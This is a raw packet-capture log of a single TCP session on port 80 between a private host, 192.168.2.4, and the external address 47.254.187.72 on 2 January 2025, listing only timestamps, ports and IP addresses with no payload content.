Jan 2, 2025 20:34:52.409656048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.409667969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.409677029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.409677029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.409701109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.409714937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.478935003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.478955030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.478966951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.478977919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.478987932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.478998899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479010105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479018927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479029894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479062080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479063034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479072094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479085922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479094982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479136944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479147911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479156971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479161024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479175091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479186058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479191065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479196072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479207039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479217052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479219913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479229927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479240894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479259014 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479283094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479293108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479309082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479327917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479337931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479347944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479348898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479367971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479368925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479378939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479387999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479393005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479404926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479413986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479415894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479428053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479433060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479439020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479449987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479464054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479473114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479490995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479511976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479552031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479562044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479578972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479593992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479603052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479613066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479615927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479640961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479641914 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479660034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479686975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479712009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479722977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479733944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479743958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479753017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479765892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479782104 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479783058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479794979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479804993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479805946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479815960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479860067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479860067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479871035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479882956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479887962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479907036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.479949951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479969025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479980946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.479993105 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.480022907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.480026960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480043888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480055094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480063915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.480066061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480078936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480089903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480091095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.480120897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.480125904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480140924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.480159044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480169058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480179071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480190039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480201960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480211973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480212927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.480251074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.480325937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.480364084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.483077049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.483088017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.483108044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.483118057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.483129025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.483143091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.483185053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.483217001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.483227968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.483233929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.483285904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.485565901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.485641003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.485647917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.485658884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.485670090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.485681057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.485687017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.485692978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.485703945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.485713959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.485718966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.485755920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.488368034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.488379002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.488389969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.488395929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.488406897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.488416910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.488428116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.488429070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.488459110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.488476038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.493385077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493396044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493412971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493422985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493433952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493443966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493459940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493464947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.493470907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493482113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493491888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493495941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.493505001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493520975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493531942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493535995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.493542910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.493565083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.493582964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.495261908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.495270967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.495280981 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.495294094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.495309114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.495321035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.495326042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.495337009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.495342016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.495349884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.495354891 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.495358944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.495409012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.496454000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.496464014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.496474028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.496484995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.496495962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.496495962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.496507883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.496510029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.496520042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.496530056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.496542931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.496568918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.553177118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.565695047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565709114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565726995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565737963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565747976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565758944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565769911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565776110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.565779924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565798998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565814018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.565829992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565840006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565849066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565856934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.565861940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565871954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565876007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.565882921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565893888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.565893888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565907955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.565931082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565942049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565944910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.565970898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565975904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.565982103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.565996885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566020966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566024065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566035032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566046000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566055059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566075087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566092968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566104889 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566111088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566122055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566131115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566132069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566157103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566181898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566195011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566205978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566217899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566246033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566250086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566261053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566267967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566272020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566294909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566322088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566329956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566354036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566366911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566374063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566376925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566387892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566387892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566401958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566422939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566437960 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566450119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566462040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566488981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566492081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566503048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566514969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566524029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566525936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566551924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566567898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566603899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566616058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566627026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566652060 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566656113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566665888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566678047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566679001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566689014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566709042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566752911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566848040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566859007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566869974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566879988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566891909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566898108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566904068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566916943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566931963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566952944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.566978931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.566989899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.567002058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.567012072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.567018986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.567028999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.567039013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.567049980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.567051888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.567061901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.567075968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.567101955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.570086002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.570096970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.570107937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.570118904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.570128918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.570138931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.570139885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.570152998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.570187092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.570200920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.572356939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.572369099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.572380066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.572410107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.572443008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.572468042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.572478056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.572488070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.572499037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.572509050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.572510958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.572563887 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.575247049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.575258017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.575268030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.575278997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.575289011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.575299025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.575309992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.575318098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.575356007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.580121994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580141068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580151081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580161095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580172062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580182076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580192089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580202103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580212116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580234051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:52.580240011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580257893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:52.580261946 CET	49730	80	192.168.2.4	47.254.187.72
